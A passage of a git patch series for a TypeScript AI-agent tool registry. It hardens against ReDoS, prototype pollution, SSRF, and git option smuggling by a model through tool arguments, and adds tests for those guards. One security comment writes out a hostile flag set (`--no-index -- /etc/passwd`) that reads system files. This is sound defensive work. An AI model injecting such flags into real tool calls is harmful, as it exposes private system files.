call('http_request', { url: 'https://api' + String.fromCharCode(0x7f) + '.example.com/x' }), + ctx({ toolPolicy: { allowedDomains: ['api.example.com'] } }), + ), + ); + expect(err.reason).toBe('insecure_url'); + }); +}); diff --git a/packages/core/src/tools/registry.ts b/packages/core/src/tools/registry.ts index ce650685..a5b87fea 100644 --- a/packages/core/src/tools/registry.ts +++ b/packages/core/src/tools/registry.ts @@ -111,10 +111,16 @@ async function dispatch( outputMapped = applyOutputMapping(output, ctx.config.outputMapping); // 7. Bound the MODEL-FACING result (the full result is untouched above). bounded = await boundForModel(output, ctx.limits ?? DEFAULT_TOOL_RESULT_LIMITS, host, ctx.signal); + // An abort that lands during bounding (its async fast path yields a microtask) must still classify + // as cancelled, not a success — the symmetric guard to line 109 after the dispatch await. + throwIfAborted(ctx, def.id); } catch (cause) { if (cause instanceof ToolCancelledError) { throw cause; // already classified (e.g. throwIfAborted) — never double-wrap } + // Cancel-wins-all (ADR-0036 cancel precedence): once the run's signal is aborted, any failure on + // this path closes the step as `cancelled`, even a typed ToolDispatchError (e.g. a capability gap). + // The deterministic error re-surfaces on the next, non-cancelled run; a torn-down run stays cancelled. if (isAbort(cause, ctx)) { throw new ToolCancelledError(def.id, cause); } @@ -350,32 +356,37 @@ function extractHttpsHost(url: string): { host: string; hasCredentials: boolean } /** - * A minimal, well-bounded glob: `*` (any run) and `?` (one char), everything else literal, full match. - * Consecutive `*` collapse to a single `.*` (no `(.*)+`-style catastrophic backtracking on a degenerate - * author glob), and compiled patterns are cached (author globs are a small fixed set). + * A minimal glob: `*` (any run, incl. empty) and `?` (exactly one char); everything else is literal; + * full-string match. Implemented as a **linear-time** iterative matcher with a single backtrack point + * for the last `*` — NOT a compiled RegExp. A RegExp translation (`a*a*a*…`) backtracks catastrophically + * (ReDoS) on an author-supplied pathological glob; this matcher is O(len(value) × len(glob)) worst case, + * with no exponential blowup. (`allowedCommandGlobs` is opt-in and author-controlled, but a community / + * imported workflow is a real threat surface — see ADR-0029.) */ -const globCache = new Map(); function globMatch(glob: string, value: string): boolean { - let compiled = globCache.get(glob); - if (compiled === undefined) { - let pattern = '^'; - let prevStar = false; - for (const ch of glob) { - if (ch === '*') { - if (!prevStar) { - pattern += '.*'; - } - prevStar = true; - continue; - } - prevStar = false; - pattern += ch === '?' ? '.' : ch.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); + let g = 0; // index into glob + let v = 0; // index into value + let star = -1; // glob index just past the last `*` seen, or -1 + let mark = 0; // value index to resume from when backtracking the last `*` + while (v < value.length) { + const gc = glob[g]; + if (gc === '?' || (gc !== undefined && gc !== '*' && gc === value[v])) { + g++; + v++; + } else if (gc === '*') { + star = ++g; // `*` matches zero chars first; remember where to extend it + mark = v; + } else if (star !== -1) { + g = star; // mismatch — let the last `*` swallow one more char of value + v = ++mark; + } else { + return false; } - pattern += '$'; - compiled = new RegExp(pattern); - globCache.set(glob, compiled); } - return compiled.test(value); + while (glob[g] === '*') { + g++; // trailing `*`s match the empty remainder + } + return g === glob.length; } /* ------------------------------------------------------------------------------------------------ * @@ -391,6 +402,9 @@ function applyOutputMapping( } const out: Record = {}; for (const [stateKey, path] of Object.entries(mapping)) { + if (UNSAFE_ARG_KEYS.has(stateKey)) { + continue; // a `__proto__` stateKey would mutate `out`'s prototype, not add an own property + } out[stateKey] = readPath(full, path); } return out; From 313b9b6ea22c601964192aa3fb71a0a4237702cf Mon Sep 17 00:00:00 2001 From: Cemil ILIK Date: Sat, 13 Jun 2026 17:53:55 +0300 Subject: [PATCH 11/16] style(core): apply Prettier to the 1.T tool-registry sources Format packages/core/src/tools/* (registry, builtins, types, errors, bounding, untrusted + tests) to satisfy `prettier --check` (CI format gate). No behavior change; 118 tool tests still green. Completes the joint 1.N + 1.T branch's format compliance before the PR. Co-Authored-By: Claude Opus 4.8 --- packages/core/src/tools/bounding.test.ts | 24 +- packages/core/src/tools/builtins.test.ts | 100 ++++++-- packages/core/src/tools/builtins.ts | 61 ++++- packages/core/src/tools/errors.ts | 12 +- packages/core/src/tools/registry.test.ts | 297 ++++++++++++++++++----- packages/core/src/tools/registry.ts | 19 +- packages/core/src/tools/types.ts | 8 +- 7 files changed, 412 insertions(+), 109 deletions(-) diff --git a/packages/core/src/tools/bounding.test.ts b/packages/core/src/tools/bounding.test.ts index 65dd78ba..a8ab2b84 100644 --- a/packages/core/src/tools/bounding.test.ts +++ b/packages/core/src/tools/bounding.test.ts @@ -34,7 +34,9 @@ describe('boundForModel', () => { }); it('truncates an over-byte result and spills via the output store', async () => { - const spill = vi.fn((text: string) => Promise.resolve({ ref: 'spill://abc', byteLength: text.length })); + const spill = vi.fn((text: string) => + Promise.resolve({ ref: 'spill://abc', byteLength: text.length }), + ); const text = 'x'.repeat(500); const bounded = await boundForModel(text, TINY, host({ outputStore: { spill } })); expect(bounded.truncated).toBe(true); @@ -46,7 +48,11 @@ describe('boundForModel', () => { it('truncates over the LINE ceiling too', async () => { const spill = vi.fn(() => Promise.resolve({ ref: 'spill://lines', byteLength: 1 })); const text = Array.from({ length: 50 }, (_, i) => `line ${i}`).join('\n'); - const bounded = await boundForModel(text, { maxBytes: 50_000, maxLines: 3 }, host({ outputStore: { spill } })); + const bounded = await boundForModel( + text, + { maxBytes: 50_000, maxLines: 3 }, + host({ outputStore: { spill } }), + ); expect(bounded.truncated).toBe(true); expect(spill).toHaveBeenCalledOnce(); }); @@ -81,7 +87,11 @@ describe('boundForModel', () => { it('enforces the LINE ceiling in the preview, not just the spill trigger (H4)', async () => { const spill = vi.fn(() => Promise.resolve({ ref: 'spill://lines', byteLength: 1 })); const text = Array.from({ length: 200 }, (_, i) => `line ${i}`).join('\n'); // small bytes, many lines - const bounded = await boundForModel(text, { maxBytes: 50_000, maxLines: 5 }, host({ outputStore: { spill } })); + const bounded = await boundForModel( + text, + { maxBytes: 50_000, maxLines: 5 }, + host({ outputStore: { spill } }), + ); expect(bounded.truncated).toBe(true); // The model-facing preview must be line-bounded — NOT the full 200-line text returned verbatim. const previewLines = String(bounded.value).split('\n').length; @@ -116,7 +126,11 @@ describe('boundForModel', () => { it('rethrows an abort that occurs during spill (cancel precedence) (M2)', async () => { const signal = { aborted: true } as never; - const spill = vi.fn(() => Promise.reject(Object.assign(new Error('aborted'), { name: 'AbortError' }))); - await expect(boundForModel('z'.repeat(500), TINY, host({ outputStore: { spill } }), signal)).rejects.toThrow(/aborted/); + const spill = vi.fn(() => + Promise.reject(Object.assign(new Error('aborted'), { name: 'AbortError' })), + ); + await expect( + boundForModel('z'.repeat(500), TINY, host({ outputStore: { spill } }), signal), + ).rejects.toThrow(/aborted/); }); }); diff --git a/packages/core/src/tools/builtins.test.ts b/packages/core/src/tools/builtins.test.ts index b1fbd4a4..82e3e601 100644 --- a/packages/core/src/tools/builtins.test.ts +++ b/packages/core/src/tools/builtins.test.ts @@ -15,15 +15,28 @@ function tool(id: string): ToolDef { function fullHost(): ToolHost { return { fs: { - readFile: (path) => Promise.resolve({ content: `c:${path}`, mimeType: 'text/plain', sizeBytes: 1, lastModified: 't' }), + readFile: (path) => + Promise.resolve({ + content: `c:${path}`, + mimeType: 'text/plain', + sizeBytes: 1, + lastModified: 't', + }), writeFile: (path, data) => Promise.resolve({ path, bytesWritten: data.length }), - listDirectory: () => Promise.resolve({ entries: [{ name: 'a', type: 'file', sizeBytes: 1, lastModified: 't' }] }), + listDirectory: () => + Promise.resolve({ + entries: [{ name: 'a', type: 'file', sizeBytes: 1, lastModified: 't' }], + }), + }, + process: { + spawn: () => Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 }), }, - process: { spawn: () => Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 }) }, egress: { fetch: () => Promise.resolve({ status: 200, headers: {}, body: '{}' }) }, os: { readClipboard: () => Promise.resolve('clip'), notify: () => Promise.resolve() }, mcp: { call: () => Promise.resolve({ ok: true }) }, - outputStore: { spill: (text) => Promise.resolve({ ref: 'spill://1', byteLength: text.length }) }, + outputStore: { + spill: (text) => Promise.resolve({ ref: 'spill://1', byteLength: text.length }), + }, }; } @@ -56,13 +69,29 @@ interface ToolCase { // One representative valid call per tool (covers each dispatch arrow + its `?? []`/`?? {}` branches). const CASES: readonly ToolCase[] = [ { id: 'read_file', args: { path: 'a', glob: true }, cap: 'fs' }, - { id: 'write_file', args: { path: 'a', content: 'x', append: true, createDirs: true }, cap: 'fs' }, + { + id: 'write_file', + args: { path: 'a', content: 'x', append: true, createDirs: true }, + cap: 'fs', + }, { id: 'list_directory', args: { path: 'a', recursive: true, glob: '*.ts' }, cap: 'fs' }, - { id: 'run_command', args: { command: 'ls', args: ['-l'], cwd: '/w', timeoutMs: 5, env: { X: '1' } }, cap: 'process' }, + { + id: 'run_command', + args: { command: 'ls', args: ['-l'], cwd: '/w', timeoutMs: 5, env: { X: '1' } }, + cap: 'process', + }, { id: 'git_status', args: { command: 'log', args: ['--oneline'] }, cap: 'process' }, { id: 'git_commit', args: { message: 'm', files: ['a.ts'] }, cap: 'process' }, - { id: 'http_request', args: { method: 'POST', url: 'https://x', headers: { a: 'b' }, body: '{}' }, cap: 'egress' }, - { id: 'web_search', args: { query: 'q', endpoint: 'https://s', credentialRef: 'r' }, cap: 'egress' }, + { + id: 'http_request', + args: { method: 'POST', url: 'https://x', headers: { a: 'b' }, body: '{}' }, + cap: 'egress', + }, + { + id: 'web_search', + args: { query: 'q', endpoint: 'https://s', credentialRef: 'r' }, + cap: 'egress', + }, { id: 'mcp_call', args: { server: 's', tool: 't', args: { a: 1 } }, cap: 'mcp' }, { id: 'read_clipboard', args: {}, cap: 'os' }, { id: 'notify', args: { title: 't', body: 'b' }, cap: 'os' }, @@ -92,7 +121,9 @@ describe('built-in dispatch', () => { expect(result).toBeDefined(); }); - it.each(CASES.filter((toolCase): toolCase is ToolCase & { cap: string } => toolCase.cap !== undefined))( + it.each( + CASES.filter((toolCase): toolCase is ToolCase & { cap: string } => toolCase.cap !== undefined), + )( '$id fails with a typed ToolUnavailableError when the $cap capability is absent', async ({ id, args, cap }) => { const target = tool(id); @@ -104,10 +135,14 @@ describe('built-in dispatch', () => { it('invoke_agent delegates to ctx.invokeAgent and fails typed without it', async () => { const target = tool('invoke_agent'); - const out = await target.dispatch(target.parseArgs({ nodeId: 'n2', input: 1 }), {}, { - ...ctx, - invokeAgent: (nodeId) => Promise.resolve({ ranNode: nodeId }), - }); + const out = await target.dispatch( + target.parseArgs({ nodeId: 'n2', input: 1 }), + {}, + { + ...ctx, + invokeAgent: (nodeId) => Promise.resolve({ ranNode: nodeId }), + }, + ); expect(out).toEqual({ ranNode: 'n2' }); const err = await rejection(() => target.dispatch(target.parseArgs({ nodeId: 'n2' }), {}, ctx)); expect(err).toBeInstanceOf(ToolUnavailableError); @@ -115,21 +150,27 @@ describe('built-in dispatch', () => { it('notify acknowledges delivery', async () => { const target = tool('notify'); - expect(await target.dispatch(target.parseArgs({ title: 't', body: 'b' }), fullHost(), ctx)).toEqual({ delivered: true }); + expect( + await target.dispatch(target.parseArgs({ title: 't', body: 'b' }), fullHost(), ctx), + ).toEqual({ delivered: true }); }); }); describe('built-in policy targets', () => { it('run_command resolves the full command string for the allowlist', () => { const target = tool('run_command'); - expect(target.policyTarget?.(target.parseArgs({ command: 'npm', args: ['run', 'build'] }))).toEqual({ + expect( + target.policyTarget?.(target.parseArgs({ command: 'npm', args: ['run', 'build'] })), + ).toEqual({ command: 'npm run build', }); }); it('http_request exposes its url as the egress policy target', () => { const target = tool('http_request'); - expect(target.policyTarget?.(target.parseArgs({ url: 'https://x/y' }))).toEqual({ url: 'https://x/y' }); + expect(target.policyTarget?.(target.parseArgs({ url: 'https://x/y' }))).toEqual({ + url: 'https://x/y', + }); }); it('a pre-approved git_status has no policy target', () => { @@ -150,7 +191,10 @@ describe('built-in arg validation', () => { describe('built-in git tool hardening', () => { it('git_status exposes only the subcommand to the model; args is config-only (H2)', () => { - const props = (tool('git_status').llmVisibleParams['properties'] ?? {}) as Record; + const props = (tool('git_status').llmVisibleParams['properties'] ?? {}) as Record< + string, + unknown + >; expect(props).toHaveProperty('command'); expect(props).not.toHaveProperty('args'); // a model cannot inject git flags expect(tool('git_status').configOnlyParams).toContain('args'); @@ -163,14 +207,28 @@ describe('built-in git tool hardening', () => { }); it('git_commit inserts a `--` separator before pathspecs (M1)', async () => { - const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 })); + const spawn = vi.fn(() => + Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 }), + ); const target = tool('git_commit'); - await target.dispatch(target.parseArgs({ message: 'm', files: ['a.ts', 'b.ts'] }), { process: { spawn } }, ctx); - expect(spawn).toHaveBeenCalledWith('git', ['commit', '-m', 'm', '--', 'a.ts', 'b.ts'], {}, {}, undefined); + await target.dispatch( + target.parseArgs({ message: 'm', files: ['a.ts', 'b.ts'] }), + { process: { spawn } }, + ctx, + ); + expect(spawn).toHaveBeenCalledWith( + 'git', + ['commit', '-m', 'm', '--', 'a.ts', 'b.ts'], + {}, + {}, + undefined, + ); }); it('git_commit with no files still terminates options with `--` (TG-6)', async () => { - const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 })); + const spawn = vi.fn(() => + Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 }), + ); const target = tool('git_commit'); await target.dispatch(target.parseArgs({ message: 'm' }), { process: { spawn } }, ctx); expect(spawn).toHaveBeenCalledWith('git', ['commit', '-m', 'm', '--'], {}, {}, undefined); diff --git a/packages/core/src/tools/builtins.ts b/packages/core/src/tools/builtins.ts index 240666eb..32f39e66 100644 --- a/packages/core/src/tools/builtins.ts +++ b/packages/core/src/tools/builtins.ts @@ -92,8 +92,16 @@ function requireMcp(host: ToolHost, toolId: ToolId): McpCapability { return host.mcp; } -const FS_POLICY: ToolPolicyClass = { fsScoped: true, spawnsProcess: false, requiresGateApproval: false }; -const OS_POLICY: ToolPolicyClass = { fsScoped: false, spawnsProcess: false, requiresGateApproval: false }; +const FS_POLICY: ToolPolicyClass = { + fsScoped: true, + spawnsProcess: false, + requiresGateApproval: false, +}; +const OS_POLICY: ToolPolicyClass = { + fsScoped: false, + spawnsProcess: false, + requiresGateApproval: false, +}; /* ------------------------------------------------------------------------------------------------ * * Filesystem tools. @@ -150,7 +158,11 @@ const listDirectoryTool = defineBuiltin({ id: 'list_directory', description: 'List directory contents, optionally recursive with a glob filter.', args: z - .object({ path: z.string().min(1), recursive: z.boolean().optional(), glob: z.string().optional() }) + .object({ + path: z.string().min(1), + recursive: z.boolean().optional(), + glob: z.string().optional(), + }) .strict(), llmVisibleParams: { type: 'object', @@ -177,7 +189,8 @@ const listDirectoryTool = defineBuiltin({ const runCommandTool = defineBuiltin({ id: 'run_command', - description: 'Spawn an allowlisted shell command (shell:false) and capture stdout/stderr/exit code.', + description: + 'Spawn an allowlisted shell command (shell:false) and capture stdout/stderr/exit code.', args: z .object({ command: z.string().min(1), @@ -210,13 +223,17 @@ const runCommandTool = defineBuiltin({ const gitStatusTool = defineBuiltin({ id: 'git_status', - description: 'Run git status / log / diff in the workspace; extra flags are author-pinned via config, not model-supplied.', + description: + 'Run git status / log / diff in the workspace; extra flags are author-pinned via config, not model-supplied.', // SECURITY: `args` is CONFIG-ONLY, not model-facing. A model-supplied `git diff` flag set // (e.g. `--no-index -- /etc/passwd`, `log -p --all`) would otherwise read arbitrary files / dump // history, since this pre-approved tool has no allowedCommands gate. The model picks only the // (safe, read-only) subcommand; any extra flags must be pinned by the trusted workflow author. args: z - .object({ command: z.enum(['status', 'log', 'diff']).optional(), args: z.array(z.string()).optional() }) + .object({ + command: z.enum(['status', 'log', 'diff']).optional(), + args: z.array(z.string()).optional(), + }) .strict(), llmVisibleParams: { type: 'object', @@ -246,12 +263,22 @@ const gitCommitTool = defineBuiltin({ // A pathspec must not start with `-`, so a model cannot smuggle a git OPTION (`--amend`, // `--no-verify`, `--author=…`) through `files` past the human gate (the `--` separator below is // the structural backstop; this refine gives a field-named parse error). - files: z.array(z.string().min(1).refine((f) => !f.startsWith('-'), { message: 'a pathspec must not start with "-"' })).optional(), + files: z + .array( + z + .string() + .min(1) + .refine((f) => !f.startsWith('-'), { message: 'a pathspec must not start with "-"' }), + ) + .optional(), }) .strict(), llmVisibleParams: { type: 'object', - properties: { message: { type: 'string' }, files: { type: 'array', items: { type: 'string' } } }, + properties: { + message: { type: 'string' }, + files: { type: 'array', items: { type: 'string' } }, + }, required: ['message'], additionalProperties: false, }, @@ -273,7 +300,8 @@ const gitCommitTool = defineBuiltin({ const httpRequestTool = defineBuiltin({ id: 'http_request', - description: 'Outbound HTTPS request to an allowedDomains host (HTTPS-only, exact-FQDN, SSRF-guarded).', + description: + 'Outbound HTTPS request to an allowedDomains host (HTTPS-only, exact-FQDN, SSRF-guarded).', args: z .object({ method: z.enum(['GET', 'POST', 'PUT', 'DELETE']).optional(), @@ -304,7 +332,8 @@ const httpRequestTool = defineBuiltin({ const webSearchTool = defineBuiltin({ id: 'web_search', - description: 'Search the web via the configured provider (key resolved host-side via a credential ref).', + description: + 'Search the web via the configured provider (key resolved host-side via a credential ref).', args: z .object({ query: z.string().min(1), @@ -334,8 +363,11 @@ const webSearchTool = defineBuiltin({ const mcpCallTool = defineBuiltin({ id: 'mcp_call', - description: 'Invoke a tool on a configured MCP server (server URL runs the same SSRF primitive).', - args: z.object({ server: z.string().min(1), tool: z.string().min(1), args: z.unknown().optional() }).strict(), + description: + 'Invoke a tool on a configured MCP server (server URL runs the same SSRF primitive).', + args: z + .object({ server: z.string().min(1), tool: z.string().min(1), args: z.unknown().optional() }) + .strict(), llmVisibleParams: { type: 'object', properties: { server: { type: 'string' }, tool: { type: 'string' }, args: {} }, @@ -344,7 +376,10 @@ const mcpCallTool = defineBuiltin({ }, policy: { fsScoped: false, spawnsProcess: false, egress: 'mcp', requiresGateApproval: false }, dispatch: (args, host, ctx) => - requireMcp(host, 'mcp_call').call({ server: args.server, tool: args.tool, args: args.args }, ctx.signal), + requireMcp(host, 'mcp_call').call( + { server: args.server, tool: args.tool, args: args.args }, + ctx.signal, + ), }); /* ------------------------------------------------------------------------------------------------ * diff --git a/packages/core/src/tools/errors.ts b/packages/core/src/tools/errors.ts index a1033468..e4bfa57d 100644 --- a/packages/core/src/tools/errors.ts +++ b/packages/core/src/tools/errors.ts @@ -105,7 +105,11 @@ export class ToolUnavailableError extends ToolDispatchError { readonly capability: string; constructor(toolId: ToolId, capability: string) { - super(`tool \`${toolId}\` requires the host \`${capability}\` capability, which is not wired`, toolId, undefined); + super( + `tool \`${toolId}\` requires the host \`${capability}\` capability, which is not wired`, + toolId, + undefined, + ); this.name = 'ToolUnavailableError'; this.capability = capability; } @@ -133,7 +137,11 @@ export class ToolCancelledError extends ToolDispatchError { readonly retryable = false; constructor(toolId: ToolId | undefined, cause?: unknown) { - super(toolId === undefined ? 'tool dispatch cancelled' : `tool \`${toolId}\` cancelled`, toolId, cause); + super( + toolId === undefined ? 'tool dispatch cancelled' : `tool \`${toolId}\` cancelled`, + toolId, + cause, + ); this.name = 'ToolCancelledError'; } } diff --git a/packages/core/src/tools/registry.test.ts b/packages/core/src/tools/registry.test.ts index adb2eb47..ccd19178 100644 --- a/packages/core/src/tools/registry.test.ts +++ b/packages/core/src/tools/registry.test.ts @@ -37,7 +37,12 @@ function stubHost(overrides?: Partial): ToolHost { return { fs: { readFile: (path) => - Promise.resolve({ content: `body:${path}`, mimeType: 'text/plain', sizeBytes: 4, lastModified: 't' }), + Promise.resolve({ + content: `body:${path}`, + mimeType: 'text/plain', + sizeBytes: 4, + lastModified: 't', + }), writeFile: (path, data) => Promise.resolve({ path, bytesWritten: data.length }), listDirectory: () => Promise.resolve({ entries: [] }), }, @@ -99,7 +104,12 @@ function registry(host: ToolHost = stubHost()): ReturnType { it('dispatches read_file and returns mapped output + untrusted result + sanitized events', async () => { const out = await registry().dispatch(call('read_file', { path: 'a.txt' }), ctx()); - expect(out.output).toEqual({ content: 'body:a.txt', mimeType: 'text/plain', sizeBytes: 4, lastModified: 't' }); + expect(out.output).toEqual({ + content: 'body:a.txt', + mimeType: 'text/plain', + sizeBytes: 4, + lastModified: 't', + }); expect(isUntrusted(out.toolResult)).toBe(true); const part = unwrapUntrusted(out.toolResult); expect(part.type).toBe('tool_result'); @@ -123,7 +133,9 @@ describe('ToolRegistry — happy path and outcome shape', () => { if (dup === undefined) { throw new Error('no built-in tools'); } - expect(() => createToolRegistry({ tools: [dup, dup], host: stubHost() })).toThrow(/duplicate tool id/); + expect(() => createToolRegistry({ tools: [dup, dup], host: stubHost() })).toThrow( + /duplicate tool id/, + ); }); }); @@ -139,7 +151,10 @@ describe('ToolRegistry — resolution and grant', () => { it('refuses a registered-but-not-granted tool (registered ≠ authorized)', async () => { const err = await rejectsWith( - registry().dispatch(call('write_file', { path: 'x', content: 'y' }), ctx({ grantedToolIds: new Set(['read_file']) })), + registry().dispatch( + call('write_file', { path: 'x', content: 'y' }), + ctx({ grantedToolIds: new Set(['read_file']) }), + ), ); expect(err).toBeInstanceOf(ToolPolicyError); expect(err.reason).toBe('not_granted'); @@ -159,7 +174,9 @@ describe('ToolRegistry — resolution and grant', () => { describe('ToolRegistry — argument validation and secret taint', () => { it('rejects effective args that fail the validator, naming the field (not the value)', async () => { - const err = await rejectsWith(registry().dispatch(call('read_file', {}), ctx())); + const err = await rejectsWith( + registry().dispatch(call('read_file', {}), ctx()), + ); expect(err).toBeInstanceOf(ToolArgsInvalidError); expect(err.runErrorCode).toBe('validation'); expect(err.fields).toContain('path'); @@ -167,7 +184,10 @@ describe('ToolRegistry — argument validation and secret taint', () => { it('rejects a secret-tainted value flowing into a tool argument (ADR-0029(c), effective set)', async () => { const err = await rejectsWith( - registry().dispatch(call('read_file', { path: 'a' }), ctx({ secretArgKeys: new Set(['path']) })), + registry().dispatch( + call('read_file', { path: 'a' }), + ctx({ secretArgKeys: new Set(['path']) }), + ), ); expect(err).toBeInstanceOf(ToolArgsInvalidError); expect(err.fields).toEqual(['path']); @@ -193,10 +213,18 @@ describe('ToolRegistry — guardrails run on the EFFECTIVE args (no tool-node by }); it('allows an input_mapping-derived command that IS on the allowlist', async () => { - const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 })); - const out = await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ process: { spawn } }) }).dispatch( + const spawn = vi.fn(() => + Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 }), + ); + const out = await createToolRegistry({ + tools: BUILTIN_TOOLS, + host: stubHost({ process: { spawn } }), + }).dispatch( call('run_command'), - ctx({ config: { inputMapping: { command: 'ls', args: ['-la'] } }, toolPolicy: { allowedCommands: ['ls -la'] } }), + ctx({ + config: { inputMapping: { command: 'ls', args: ['-la'] } }, + toolPolicy: { allowedCommands: ['ls -la'] }, + }), ); expect(out.events.result.success).toBe(true); expect(spawn).toHaveBeenCalledOnce(); @@ -210,7 +238,9 @@ describe('ToolRegistry — run_command allowlist', () => { registry().dispatch(call('run_command', args), ctx({ toolPolicy: policy })); it('matches EXACTLY — `npm` is not authorized by `npm test`', async () => { - const err = await rejectsWith(run({ command: 'npm' }, { allowedCommands: ['npm test'] })); + const err = await rejectsWith( + run({ command: 'npm' }, { allowedCommands: ['npm test'] }), + ); expect(err.reason).toBe('command_not_allowed'); }); @@ -220,7 +250,10 @@ describe('ToolRegistry — run_command allowlist', () => { }); it('allows an opt-in glob match', async () => { - const out = await run({ command: 'npm', args: ['run', 'build'] }, { allowedCommandGlobs: ['npm *'] }); + const out = await run( + { command: 'npm', args: ['run', 'build'] }, + { allowedCommandGlobs: ['npm *'] }, + ); expect((out as { events: { result: { success: boolean } } }).events.result.success).toBe(true); }); @@ -230,7 +263,10 @@ describe('ToolRegistry — run_command allowlist', () => { }); it('skips the allowlist for a pre-approved git_status (no policy target)', async () => { - const out = await registry().dispatch(call('git_status', { command: 'status' }), ctx({ toolPolicy: {} })); + const out = await registry().dispatch( + call('git_status', { command: 'status' }), + ctx({ toolPolicy: {} }), + ); expect(out.events.result.success).toBe(true); }); }); @@ -247,7 +283,9 @@ describe('ToolRegistry — http_request egress policy', () => { }); it('rejects a non-HTTPS URL', async () => { - const err = await rejectsWith(http('http://api.example.com', { allowedDomains: ['api.example.com'] })); + const err = await rejectsWith( + http('http://api.example.com', { allowedDomains: ['api.example.com'] }), + ); expect(err.reason).toBe('insecure_url'); }); @@ -259,7 +297,9 @@ describe('ToolRegistry — http_request egress policy', () => { }); it('rejects a host not on the allowlist', async () => { - const err = await rejectsWith(http('https://evil.example.org/x', { allowedDomains: ['api.example.com'] })); + const err = await rejectsWith( + http('https://evil.example.org/x', { allowedDomains: ['api.example.com'] }), + ); expect(err.reason).toBe('domain_not_allowed'); }); @@ -269,7 +309,9 @@ describe('ToolRegistry — http_request egress policy', () => { }); it('strips a port before matching the FQDN', async () => { - const out = await http('https://api.example.com:8443/x', { allowedDomains: ['api.example.com'] }); + const out = await http('https://api.example.com:8443/x', { + allowedDomains: ['api.example.com'], + }); expect((out as { events: { result: { success: boolean } } }).events.result.success).toBe(true); }); }); @@ -285,7 +327,10 @@ describe('ToolRegistry — git_commit human-gate', () => { }); it('allows git_commit once a gate approval is present', async () => { - const out = await registry().dispatch(call('git_commit', { message: 'x' }), ctx({ gateApproved: true })); + const out = await registry().dispatch( + call('git_commit', { message: 'x' }), + ctx({ gateApproved: true }), + ); expect(out.events.result.success).toBe(true); }); }); @@ -294,30 +339,49 @@ describe('ToolRegistry — git_commit human-gate', () => { describe('ToolRegistry — config-only params and I/O mapping', () => { it('merges config-only values last (a model arg cannot override) and strips them from events', async () => { - const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 })); - const out = await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ process: { spawn } }) }).dispatch( + const spawn = vi.fn(() => + Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 }), + ); + const out = await createToolRegistry({ + tools: BUILTIN_TOOLS, + host: stubHost({ process: { spawn } }), + }).dispatch( call('run_command', { command: 'ls', cwd: '/evil' }), ctx({ config: { parameters: { cwd: '/safe' } }, toolPolicy: { allowedCommands: ['ls'] } }), ); - expect(spawn).toHaveBeenCalledWith('ls', [], {}, { cwd: '/safe', timeoutMs: undefined }, undefined); + expect(spawn).toHaveBeenCalledWith( + 'ls', + [], + {}, + { cwd: '/safe', timeoutMs: undefined }, + undefined, + ); expect(out.events.call.toolInput).not.toHaveProperty('cwd'); // config-only stripped from the event }); it('applies output_mapping to the FULL result', async () => { const out = await registry().dispatch( call('run_command', { command: 'ls' }), - ctx({ config: { outputMapping: { code: 'exitCode', text: 'stdout' } }, toolPolicy: { allowedCommands: ['ls'] } }), + ctx({ + config: { outputMapping: { code: 'exitCode', text: 'stdout' } }, + toolPolicy: { allowedCommands: ['ls'] }, + }), ); expect(out.output).toEqual({ code: 0, text: 'ok' }); }); it('web_search uses the config-pinned endpoint + credentialRef (never the raw key in args/events)', async () => { - const fetch = vi.fn<(req: EgressRequest, signal?: AbortSignalLike) => Promise>(() => - Promise.resolve({ status: 200, headers: {}, body: '[]' }), + const fetch = vi.fn<(req: EgressRequest, signal?: AbortSignalLike) => Promise>( + () => Promise.resolve({ status: 200, headers: {}, body: '[]' }), ); - const out = await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ egress: { fetch } }) }).dispatch( + const out = await createToolRegistry({ + tools: BUILTIN_TOOLS, + host: stubHost({ egress: { fetch } }), + }).dispatch( call('web_search', { query: 'hello world' }), - ctx({ config: { parameters: { endpoint: 'https://search.example', credentialRef: 'ref-1' } } }), + ctx({ + config: { parameters: { endpoint: 'https://search.example', credentialRef: 'ref-1' } }, + }), ); expect(fetch).toHaveBeenCalledOnce(); const req = fetch.mock.calls[0]?.[0]; @@ -332,10 +396,15 @@ describe('ToolRegistry — config-only params and I/O mapping', () => { describe('ToolRegistry — host capability, execution, cancellation', () => { it('surfaces a missing capability as a typed (internal) error, not execution_failed', async () => { const processOnly: ToolHost = { - process: { spawn: () => Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 0 }) }, + process: { + spawn: () => Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 0 }), + }, }; const err = await rejectsWith( - createToolRegistry({ tools: BUILTIN_TOOLS, host: processOnly }).dispatch(call('read_file', { path: 'a' }), ctx()), + createToolRegistry({ tools: BUILTIN_TOOLS, host: processOnly }).dispatch( + call('read_file', { path: 'a' }), + ctx(), + ), ); expect(err).toBeInstanceOf(ToolUnavailableError); expect(err.capability).toBe('fs'); @@ -345,7 +414,10 @@ describe('ToolRegistry — host capability, execution, cancellation', () => { it('wraps a host throw as a retryable execution error', async () => { const host = stubHost({ fs: fsWith(() => Promise.reject(new Error('disk gone'))) }); const err = await rejectsWith( - createToolRegistry({ tools: BUILTIN_TOOLS, host }).dispatch(call('read_file', { path: 'a' }), ctx()), + createToolRegistry({ tools: BUILTIN_TOOLS, host }).dispatch( + call('read_file', { path: 'a' }), + ctx(), + ), ); expect(err).toBeInstanceOf(ToolExecutionError); expect(err.runErrorCode).toBe('tool_failed'); @@ -354,7 +426,10 @@ describe('ToolRegistry — host capability, execution, cancellation', () => { it('refuses to start when the signal is already aborted', async () => { const err = await rejectsWith( - registry().dispatch(call('read_file', { path: 'a' }), ctx({ signal: { aborted: true } as never })), + registry().dispatch( + call('read_file', { path: 'a' }), + ctx({ signal: { aborted: true } as never }), 